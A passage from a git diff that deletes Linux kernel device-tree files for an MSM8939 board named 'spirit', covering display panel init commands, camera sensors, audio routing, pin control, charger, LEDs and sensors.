= <0>; - kionix,accel_res = <12>; - kionix,accel_g_range = <2>; - }; -}; - -&sdc2_cd_on { - /delete-property/ bias-pull-up; - bias-pull-down; -}; - -&sdc2_cd_off { - /delete-property/ bias-disable; - bias-pull-down; -}; - -&sdhc_2 { - interrupts = <0 1>; - interrupt-map = <0 &intc 0 125 0 - 1 &intc 0 221 0>; - interrupt-names = "hc_irq", "pwr_irq"; - /delete-property/ cd-gpios; -}; - -/ { - memory { - pstore_reserve_mem: pstore_reserve_region@0 { - linux,reserve-contiguous-region; - linux,reserve-region; - linux,remove-completely; - reg = <0x0 0x8c400000 0x0 0x00100000>; - label = "pstore_reserve_mem"; - }; - }; -}; - -&usb_otg { - qcom,hsusb-otg-mode = <3>; - qcom,usbid-gpio = <&msm_gpio 110 0>; - qcom,otg5v_en-gpio = <&msm_gpio 52 0>; - pinctrl-names = "default", "active", "sleep"; - pinctrl-0 = <&usbid_default>; - pinctrl-1 = <&otg_5v_on>; - pinctrl-2 = <&otg_5v_off>; -}; diff --git a/arch/arm/boot/dts/qcom/spirit/dsi-panel-goworld-1080p-video.dtsi b/arch/arm/boot/dts/qcom/spirit/dsi-panel-goworld-1080p-video.dtsi deleted file mode 100644 index 3ce2e4b01faa1..0000000000000 --- a/arch/arm/boot/dts/qcom/spirit/dsi-panel-goworld-1080p-video.dtsi +++ /dev/null @@ -1,108 +0,0 @@ -/* Copyright (c) 2015, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/*--------------------------------------------------------------------------- - * This file is autogenerated file using gcdb parser. Please do not edit it. - * Update input XML file to add a new entry or update variable in this file - * VERSION = "1.0" - *---------------------------------------------------------------------------*/ -&mdss_mdp { - dsi_goworld_1080p_video: qcom,mdss_dsi_goworld_1080p_video { - qcom,mdss-dsi-panel-name = "goworld_1080p_video_mode_dsi_panel"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-pan-physical-width-dimension = <68>; - qcom,mdss-pan-physical-height-dimension = <121>; - qcom,mdss-dsi-panel-width = <1080>; - qcom,mdss-dsi-panel-height = <1920>; - qcom,mdss-dsi-h-front-porch = <120>; - qcom,mdss-dsi-h-back-porch = <60>; - qcom,mdss-dsi-h-pulse-width = <12>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <4>; - qcom,mdss-dsi-v-front-porch = <8>; - qcom,mdss-dsi-v-pulse-width = <3>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-color-order = "rgb_swap_rgb"; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [ - 29 01 00 00 00 00 02 B0 04 - 29 01 00 00 00 00 02 D6 01 - 29 01 00 00 00 00 07 B3 14 00 00 00 00 00 - 29 01 00 00 00 00 03 B6 3A C3 - 29 01 00 00 00 00 02 C0 00 - 29 01 00 00 00 00 23 C1 84 60 10 EB FF 6F CE FF FF 17 12 58 73 AE 31 20 C6 FF FF 1F F3 FF 5F 10 10 10 10 00 62 01 22 22 00 01 - 29 01 00 00 00 00 08 C2 31 07 80 06 08 80 00 - 29 01 00 00 00 00 17 C4 70 00 00 00 00 00 00 00 00 0C 06 00 00 00 00 00 00 00 00 00 0C 06 - 29 01 00 00 00 00 29 C6 C8 08 67 08 67 00 00 00 00 00 00 00 00 00 00 00 00 16 18 08 C8 08 67 08 67 00 00 00 00 00 00 00 00 00 00 00 00 16 18 08 - 29 01 00 00 00 00 1F C7 00 0E 15 20 2E 3C 46 55 39 40 4B 58 61 69 70 00 0E 15 20 2E 3C 46 55 39 40 4B 58 61 69 70 - 29 01 00 00 00 00 14 C8 01 00 00 00 00 EC 00 00 00 00 00 FC 00 00 00 00 00 FC 00 - 29 01 00 00 00 00 0A CB 31 FC 3F 8C 00 00 00 00 C0 - 29 01 00 00 00 00 02 CC 0B - 29 01 00 00 00 00 0B D0 11 81 BB 19 99 4C 19 19 0C 00 - 29 01 00 00 00 00 1A D3 1B 33 BB BB B3 33 33 33 01 01 00 A0 D8 A0 0D 48 48 44 3B 22 72 07 3D BF 33 - 29 01 00 00 00 00 08 D5 06 00 00 01 43 01 43 - 29 01 00 00 00 00 03 DD 31 93 - 29 01 00 00 00 00 05 DE 00 3F FF 10 - 15 01 00 00 00 00 02 36 00 - 15 01 00 00 00 00 02 3A 77 - 05 01 00 00 12 00 01 29 - 05 01 00 00 78 00 01 11 - ]; - qcom,mdss-dsi-off-command = [ - 29 01 00 00 00 00 08 D5 06 00 00 00 48 00 48 - 29 01 00 00 00 00 08 D5 06 00 00 00 48 00 48 - 05 01 00 00 12 00 01 28 - 05 01 00 00 78 00 01 10 - ]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-lane-map = "lane_map_0123"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-lane-3-state; - qcom,mdss-dsi-panel-timings = [e6 38 26 00 68 6e 2a 3c 2c 03 04 00]; - qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0A 08]; - qcom,mdss-dsi-panel-status-command-state ="dsi_lp_mode"; - qcom,mdss-dsi-panel-status-check-mode = "reg_read"; - qcom,mdss-dsi-panel-status-value = <0x1c>; - qcom,mdss-dsi-t-clk-post = <0x02>; - qcom,mdss-dsi-t-clk-pre = <0x2b>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <4095>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 10>, <0 10>, <1 10>; - qcom,cont-splash-enabled; - qcom,mdss-dsi-pan-enable-dynamic-fps; - qcom,mdss-dsi-pan-fps-update = "dfps_immediate_porch_mode"; - qcom,mdss-dsi-min-refresh-rate = <30>; - qcom,mdss-dsi-idle-refresh-rate = <48>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/spirit/msm-pm8916-spirit.dtsi b/arch/arm/boot/dts/qcom/spirit/msm-pm8916-spirit.dtsi deleted file mode 100644 index cac05bb971c30..0000000000000 --- a/arch/arm/boot/dts/qcom/spirit/msm-pm8916-spirit.dtsi +++ /dev/null @@ -1,25 +0,0 @@ -/* Copyright (c) 2013-2015, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&spmi_bus { - qcom,pm8916@0 { - pm8916_rtc: qcom,pm8916_rtc { - qcom,qpnp-rtc-alarm-pwrup = <1>; - }; - - pm8916_chg: qcom,charger { - qcom,vddmax-mv = <4350>; - qcom,vddsafe-mv = <4350>; - qcom,parallel-charger; - }; - }; -}; diff --git a/arch/arm/boot/dts/qcom/spirit/msm8939-audio-internal_codec-spirit.dtsi b/arch/arm/boot/dts/qcom/spirit/msm8939-audio-internal_codec-spirit.dtsi deleted file mode 100644 index dcc9fab2e9f8a..0000000000000 --- a/arch/arm/boot/dts/qcom/spirit/msm8939-audio-internal_codec-spirit.dtsi +++ /dev/null @@ -1,29 +0,0 @@ -/* Copyright (c) 2015, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&soc { - sound { - qcom,model = "msm8939-snd-card"; - qcom,msm-mbhc-hphl-swh = <0x1>; - qcom,audio-routing = - "RX_BIAS", "MCLK", - "SPK_RX_BIAS", "MCLK", - "INT_LDO_H", "MCLK", - "MIC BIAS Internal1", "Handset Mic", - "MIC BIAS Internal2", "Headset Mic", - "MIC BIAS Internal3", "Secondary Mic", - "AMIC1", "MIC BIAS Internal1", - "AMIC2", "MIC BIAS Internal2", - "AMIC3", "MIC BIAS Internal3"; - /delete-property/ qcom,cdc-us-euro-gpios; - }; -}; diff --git a/arch/arm/boot/dts/qcom/spirit/msm8939-camera-sensor-spirit.dtsi b/arch/arm/boot/dts/qcom/spirit/msm8939-camera-sensor-spirit.dtsi deleted file mode 100644 index 16df7619d3822..0000000000000 --- a/arch/arm/boot/dts/qcom/spirit/msm8939-camera-sensor-spirit.dtsi +++ /dev/null @@ -1,320 +0,0 @@ -/* Copyright (c) 2015, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&tlmm_pinmux { - SGM314_pins { - qcom,pins = <&gp 31>, <&gp 32>; - qcom,num-grp-pins = <2>; - qcom,pin-func = <0>; - label = "SGM314_pins"; - SGM314_default: en_default { - drive-strength = <2>; - bias-pull-down; - }; - }; -}; - -&soc { - flash_SGM314: flashlight@0 { - compatible = "qcom,leds-gpio-flash-ckt"; - status = "okay"; - pinctrl-names = "flash_default"; - pinctrl-0 = <&SGM314_default>; - qcom,flash-en = <&msm_gpio 31 0>; - qcom,flash-now = <&msm_gpio 32 0>; - qcom,torch-en = <&msm_gpio 10 0>; - qcom,flash-rear = <&msm_gpio 17 0>; - qcom,flash-front = <&msm_gpio 16 0>; - qcom,op-seq = "flash_en", "flash_now", "torch_en", "flash_select"; - qcom,torch-seq-val = <1 0 1 1>; - qcom,flash-seq-val = <1 1 0 1>; - linux,name = "flashlight"; - linux,default-trigger = "flashlight-trigger"; - }; - - led_flash0: qcom,camera-led-flash@0 { - cell-index = <0>; - reg = <0x00>; - compatible = "qcom,camera-led-flash"; - qcom,flash-type = <3>; - qcom,flash-source = <&flash_SGM314>; - qcom,torch-source = <&flash_SGM314>; - }; -}; - -&cci { - actuator0: qcom,actuator@6e { - cell-index = <0>; - reg = <0x19>; - compatible = "qcom,actuator"; - qcom,cci-master = <0>; - }; - - actuator1: qcom,actuator@8e { - cell-index = <1>; - reg = <0x18>; - compatible = "qcom,actuator"; - qcom,cci-master = <0>; - }; - - eeprom0: qcom,eeprom@0 { - cell-index = <2>; - reg = <0x20>; - qcom,eeprom-name = "sonyimx220"; - compatible = "qcom,eeprom"; - qcom,slave-addr = <0x20>; - qcom,cci-master = <0>; - qcom,num-blocks = <4>; - - qcom,page0 = <0 0x00 2 0x00 1 5>; - qcom,pageen0 = <0 0x00 2 0x01 1 5>; - qcom,poll0 = <0 0x0 2 0 1 5>; - qcom,mem0 = <34 0x00 1 0 1 0>; - qcom,saddr0 = <0xA0>; - qcom,page1 = <0 0x00 2 0x00 1 5>; - qcom,pageen1 = <0 0x00 2 0x01 1 5>; - qcom,poll1 = <0 0x0 2 0 1 5>; - qcom,mem1 = <256 0x00 1 0 1 0>; - qcom,saddr1 = <0xA4>; - qcom,page2 = <0 0x00 2 0x00 1 5>; - qcom,pageen2 = <0 0x00 2 0x01 1 5>; - qcom,poll2 = <0 0x0 2 0 1 5>; - qcom,mem2 = <256 0x00 1 0 1 0>; - qcom,saddr2 = <0xA8>; - qcom,page3 = <0 0x00 2 0x00 1 5>; - qcom,pageen3 = <0 0x00 2 0x01 1 5>; - qcom,poll3 = <0 0x0 2 0 1 5>; - qcom,mem3 = <192 0x00 1 0 1 0>; - qcom,saddr3 = <0xAA>; - - cam_vdig-supply = <&pm8916_l2>; - cam_vana-supply = <&pm8916_l17>; - cam_vio-supply = <&pm8916_l6>; - cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-name = "cam_vdig", "cam_vana","cam_vio","cam_vaf"; - qcom,cam-vreg-type = <0 1 0 0>; - qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-op-mode = <200000 0 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 35 0>, - <&msm_gpio 34 0>, - <&msm_gpio 8 0>, - <&msm_gpio 9 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-vdig = <3>; - qcom,gpio-vana = <4>; - qcom,gpio-req-tbl-num = <0 1 2 3 4 >; - qcom,gpio-req-tbl-flags = <1 0 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK0", - "MCAM_RESET", - "MCAM_STANDBY", - "MCAM_GPIO_DVDD", - "MCAM_GPIO_AVDD"; - - qcom,cam-power-seq-type = "sensor_vreg", - "sensor_gpio", "sensor_gpio", - "sensor_gpio", "sensor_gpio", - "sensor_clk"; - qcom,cam-power-seq-val = "cam_vio", - "sensor_gpio_vana", "sensor_gpio_vdig", - "sensor_gpio_reset", - "sensor_gpio_standby", - "sensor_cam_mclk" ; - qcom,cam-power-seq-cfg-val = <1 1 1 1 1 24000000>; - qcom,cam-power-seq-delay = <1 1 1 10 10 5>; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - eeprom1: qcom,eeprom@1 { - cell-index = <1>; - reg = <0x01>; - qcom,eeprom-name = "qtech_ov8858"; - compatible = "qcom,eeprom"; - qcom,slave-addr = <0x6c>; - qcom,cci-master = <0>; - - qcom,num-blocks = <7>; - qcom,page0 = <1 0x0100 2 0x01 1 1>; - qcom,pageen0 = <0 0x0 2 0x00 1 1>; - qcom,poll0 = <0 0x0 2 0 1 1>; - qcom,mem0 = <0 0x0 2 0 1 0>; - qcom,page1 = <1 0x5002 2 0x00 1 1>; - qcom,pageen1 = <0 0x0 2 0x00 1 1>; - qcom,poll1 = <0 0x0 2 0 1 1>; - qcom,mem1 = <0 0x0 2 0 1 0>; - qcom,page2 = <1 0x3d84 2 0xc0 1 1>; - qcom,pageen2 = <0 0x00 2 0x0 1 1>; - qcom,poll2 = <0 0x0 2 0 1 1>; - qcom,mem2 = <0 0x0 2 0 1 1>; - qcom,page3 = <1 0x3d88 2 0x7010 2 1>; - qcom,pageen3 = <1 0x3d8a 2 0x720a 2 1>; - qcom,poll3 = <0 0x0 2 0 1 1>; - qcom,mem3 = <0 0x0 2 0 1 0>; - qcom,page4 = <1 0x3d81 2 0x01 1 10>; - qcom,pageen4 = <0 0x0 2 0x00 1 1>; - qcom,poll4 = <0 0x0 2 0 1 1>; - qcom,mem4 = <507 0x7010 2 0 1 1>; - qcom,page5 = <1 0x5002 2 0x08 1 1>; - qcom,pageen5 = <0 0x0 2 0x00 1 1>; - qcom,poll5 = <0 0x0 2 0 1 1>; - qcom,mem5 = <0 0x0 2 0 1 0>; - qcom,page6 = <1 0x0100 2 0x00 1 1>; - qcom,pageen6 = <0 0x0 2 0x00 1 1>; - qcom,poll6 = <0 0x0 2 0 1 1>; - qcom,mem6 = <0 0x0 2 0 1 1>; - - cam_vdig-supply = <&pm8916_l2>; - cam_vana-supply = <&pm8916_l17>; - cam_vio-supply = <&pm8916_l6>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana"; - qcom,cam-vreg-type = <0 1 0>; - qcom,cam-vreg-min-voltage = <1200000 0 2850000>; - qcom,cam-vreg-max-voltage = <1200000 0 2850000>; - qcom,cam-vreg-op-mode = <200000 0 80000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk1_default &cam_sensor_front_default>; - pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep>; - gpios = <&msm_gpio 27 0>, - <&msm_gpio 28 0>, - <&msm_gpio 33 0>, - <&msm_gpio 8 0>, - <&msm_gpio 9 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-vdig = <3>; - qcom,gpio-vana = <4>; - qcom,gpio-req-tbl-num = <0 1 2 3 4>; - qcom,gpio-req-tbl-flags = <1 0 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK1", - "SCAM_RESET", - "SCAM_STANDBY", - "SCAM_GPIO_DVDD", - "SCAM_GPIO_AVDD"; - - qcom,cam-power-seq-type = "sensor_vreg", - "sensor_gpio", "sensor_gpio", - "sensor_gpio", "sensor_gpio", - "sensor_clk"; - qcom,cam-power-seq-val = "cam_vio", - "sensor_gpio_vana", "sensor_gpio_vdig", - "sensor_gpio_reset", - "sensor_gpio_standby", - "sensor_cam_mclk" ; - qcom,cam-power-seq-cfg-val = <1 1 1 1 1 24000000>; - qcom,cam-power-seq-delay = <10 10 10 10 10 5>; - - clocks = <&clock_gcc clk_mclk1_clk_src>, - <&clock_gcc clk_gcc_camss_mclk1_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@0 { - cell-index = <0>; - compatible = "qcom,camera"; - reg = <0x0>; - qcom,csiphy-sd-index = <0>; - qcom,csid-sd-index = <0>; - qcom,mount-angle = <90>; - qcom,eeprom-src = <&eeprom0>; - qcom,actuator-src = <&actuator0>; - qcom,led-flash-src = <&led_flash0>; - cam_vdig-supply = <&pm8916_l2>; - cam_vana-supply = <&pm8916_l17>; - cam_vio-supply = <&pm8916_l6>; - cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", - "cam_vaf"; - qcom,cam-vreg-type = <0 1 0 0>; - qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-op-mode = <200000 0 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 35 0>, - <&msm_gpio 34 0>, - <&msm_gpio 8 0>, - <&msm_gpio 9 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-vdig = <3>; - qcom,gpio-vana = <4>; - qcom,gpio-req-tbl-num = <0 1 2 3 4>; - qcom,gpio-req-tbl-flags = <1 0 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK0", - "MCAM_RESET", - "MCAM_STANDBY", - "MCAM_GPIO_DVDD", - "MCAM_GPIO_AVDD"; - qcom,sensor-position = <0>; - qcom,sensor-mode = <0>; - qcom,cci-master = <0>; - status = "ok"; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@1 { - cell-index = <1>; - compatible = "qcom,camera"; - reg = <0x1>; - qcom,csiphy-sd-index = <1>; - qcom,csid-sd-index = <1>; - qcom,mount-angle = <90>; - qcom,eeprom-src = <&eeprom1>; - qcom,led-flash-src = <&led_flash0>; - cam_vdig-supply = <&pm8916_l2>; - cam_vana-supply = <&pm8916_l17>; - cam_vio-supply = <&pm8916_l6>; - cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; - qcom,cam-vreg-type = <0 1 0 0>; - qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-op-mode = <200000 0 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk1_default &cam_sensor_front_default>; - pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep>; - gpios = <&msm_gpio 27 0>, - <&msm_gpio 28 0>, - <&msm_gpio 33 0>, - <&msm_gpio 8 0>, - <&msm_gpio 9 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-vdig = <3>; - qcom,gpio-vana = <4>; - qcom,gpio-req-tbl-num = <0 1 2 3 4>; - qcom,gpio-req-tbl-flags = <1 0 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK1", - "SCAM_RESET", - "SCAM_STANDBY", - "SCAM_GPIO_DVDD", - "SCAM_GPIO_AVDD"; - qcom,sensor-position = <1>; - qcom,sensor-mode = <0>; - qcom,cci-master = <0>; - status = "ok"; - clocks = <&clock_gcc clk_mclk1_clk_src>, - <&clock_gcc clk_gcc_camss_mclk1_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; -}; diff --git a/arch/arm/boot/dts/qcom/spirit/msm8939-pinctrl-spirit.dtsi b/arch/arm/boot/dts/qcom/spirit/msm8939-pinctrl-spirit.dtsi deleted file mode 100644 index 4571ff29c443b..0000000000000 --- a/arch/arm/boot/dts/qcom/spirit/msm8939-pinctrl-spirit.dtsi +++ /dev/null @@ -1,92 +0,0 @@ -/* Copyright (c) 2015, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include "../msm8939-pinctrl.dtsi" - -&soc { - tlmm_pinmux: pinctrl@1000000 { - - pmx_i2c_6 { - /delete-property/ qcom,pins; - }; - - pmx_nfc_reset { - /delete-property/ qcom,pins; - }; - - pmx_rd_nfc_int { - /delete-property/ qcom,pins; - }; - - red_led_gpio { - qcom,pins = <&gp 22>; - qcom,pin-func = <0>; - qcom,num-grp-pins = <1>; - label = "red_led_gpio"; - - red_led_gpio_default: default { - drive-strength = <6>; - bias-pull-up; - }; - - red_led_gpio_suspend: suspend { - drive-strength = <6>; - bias-pull-down; - }; - }; - - tlmm_gpio_key { - qcom,pins = <&gp 107>; - qcom,pin-func = <0>; - qcom,num-grp-pins = <1>; - label = "tlmm_gpio_key"; - gpio_key_active: gpio_key_active { - drive-strength = <2>; - bias-pull-up; - }; - gpio_key_suspend: gpio_key_suspend { - drive-strength = <2>; - bias-pull-up; - }; - }; - - ltr553_int_pin { - qcom,pins = <&gp 113>; - qcom,pin-func = <0>; - qcom,num-grp-pins = <1>; - label = "ltr553-irq"; - - ltr553_default: ltr553_default { - drive-strength = <6>; - bias-pull-up; - }; - - ltr553_sleep: ltr553_sleep { - drive-strength = <2>; - bias-pull-down; - }; - }; - - button_backlight_pin { - qcom,pins = <&gp 116>; - qcom,num-grp-pins = <1>; - qcom,pin-func = <0>; - label = "button-backlight-pin"; - - button_backlight_off: button_backlight_off { - drive-strength = <2>; - bias-disable; - output-low; - }; - }; - }; -}; diff --git a/arch/arm/boot/dts/qcom/spirit/msm8939-spirit.dtsi b/arch/arm/boot/dts/qcom/spirit/msm8939-spirit.dtsi deleted file mode 100644 index 27aee2f3d42fd..0000000000000 --- a/arch/arm/boot/dts/qcom/spirit/msm8939-spirit.dtsi +++ /dev/null @@ -1,380 +0,0 @@ -/* Copyright (c) 2015, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include "dsi-panel-goworld-1080p-video.dtsi" -#include "msm8939-audio-internal_codec-spirit.dtsi" -#include "msm8939-pinctrl-spirit.dtsi" -#include "msm8939-camera-sensor-spirit.dtsi" -#include "msm-pm8916-spirit.dtsi" - -/ { - memory { - pstore_reserve_mem: pstore_reserve_region@0 { - linux,reserve-contiguous-region; - linux,reserve-region; - linux,remove-completely; - reg = <0x0 0x8c400000 0x0 0x00100000>; - label = "pstore_reserve_mem"; - }; - }; -}; - -&blsp1_uart1 { - status = "disabled"; -}; - -&blsp1_uart2 { - status = "ok"; - pinctrl-names = "default"; - pinctrl-0 = <&uart_console_sleep>; -}; - -&soc { - gpio_keys { - compatible = "gpio-keys"; - input-name = "gpio-keys"; - pinctrl-names = "tlmm_gpio_key_active","tlmm_gpio_key_suspend"; - pinctrl-0 = <&gpio_key_active>; - pinctrl-1 = <&gpio_key_suspend>; - - vol_up { - label = "volume_up"; - gpios = <&msm_gpio 107 0x1>; - linux,input-type = <1>; - linux,code = <115>; - gpio-key,wakeup; - debounce-interval = <15>; - }; - - switch_lid { - label = "switch_lid"; - gpios = <&msm_gpio 114 0x1>; - linux,input-type = <5>; /* EV_SW */ - linux,code = <0>; /* SW_LID */ - debounce-interval = <1>; - gpio-key,wakeup; - }; - }; - - gpio-leds { - compatible = "gpio-leds"; - status = "okay"; - pinctrl-names = "default"; - pinctrl-0 = <&button_backlight_off>; - - keypad-backlight { - gpios = <&msm_gpio 116 0>; - label = "button-backlight"; - linux,default-trigger = "none"; - }; - }; - - ramoops { - compatible = "ramoops"; - status = "ok"; - - android,ramoops-buffer-start = <0x8c400000>; - android,ramoops-buffer-size = <0x100000>; - android,ramoops-console-size = <0x80000>; - android,ramoops-record-size = <0x20000>; - android,ramoops-dump-oops = <0x1>; - }; - -}; - -&spmi_bus { - qcom,pm8916@1 { - qcom,vibrator@c000 { - status = "okay"; - qcom,vib-timeout-ms = <15000>; - qcom,vib-vtg-level-mV = <3100>; - }; - }; - - qcom,pm8916@0 { - qcom,leds@a100 { - status = "okay"; - qcom,led_mpp_2 { - label = "mpp"; - linux,name = "button-backlight"; - linux,default-trigger = "none"; - qcom,default-state = "off"; - qcom,max-current = <40>; - qcom,current-setting = <5>; - qcom,id = <6>; - qcom,mode = "manual"; - qcom,source-sel = <1>; - qcom,mode-ctrl = <0x60>; - }; - }; - }; -}; - -&i2c_0 { - liteon@23 { - compatible = "liteon,ltr553"; - reg = <0x23>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - interrupt-parent = <&msm_gpio>; - interrupts = <113 0x2002>; - pinctrl-names = "default","sleep"; - pinctrl-0 = <<r553_default>; - pinctrl-1 = <<r553_sleep>; - liteon,irq-gpio = <&msm_gpio 113 0x2002>; - liteon,als-ps-persist = <0>; - liteon,ps-led = <0x7f>; - liteon,ps-pulses = <15>; - liteon,wakeup-threshold = <4>; - liteon,als-integration-time = <0>; - liteon,ps-distance-table = <1700 1200 900 500 320 200 150>; - liteon,als-gain = <0>; - liteon,als-equation-0 = <4 1 7743 1059 44 1>; - liteon,als-equation-1 = <6 1 2785 9548 50 1>; - liteon,als-equation-2 = <2 2 5926 1185 40 1>; - liteon,als-equation-3 = <0 0 0 0 1 1>; - }; - - aw2013@45 { - compatible = "awinic,aw2013"; - reg = <0x45>; - vdd-supply = <&pm8916_l17>; - vcc-supply = <&pm8916_l6>; - pinctrl-names = "aw2013_led_default","aw2013_led_suspend"; - pinctrl-0 = <&red_led_gpio_default>; - pinctrl-1 = <&red_led_gpio_suspend>; - - aw2013,red { - aw2013,name = "red"; - aw2013,id = <1>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,gpio = <924>; - aw2013,rise-time-ms = <1>; - aw2013,hold-time-ms = <3>; - aw2013,fall-time-ms = <1>; - aw2013,off-time-ms = <5>; - }; - - aw2013,green { - aw2013,name = "green"; - aw2013,id = <2>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <1>; - aw2013,hold-time-ms = <3>; - aw2013,fall-time-ms = <1>; - aw2013,off-time-ms = <5>; - }; - - aw2013,blue { - aw2013,name ="blue"; - aw2013,id = <0>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <1>; - aw2013,hold-time-ms = <3>; - aw2013,fall-time-ms = <1>; - aw2013,off-time-ms = <5>; - }; - }; - - st480@0c { - compatible = "senodia,st480"; - reg = <0x0c>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - senodia,axis-map-x = <1>; - 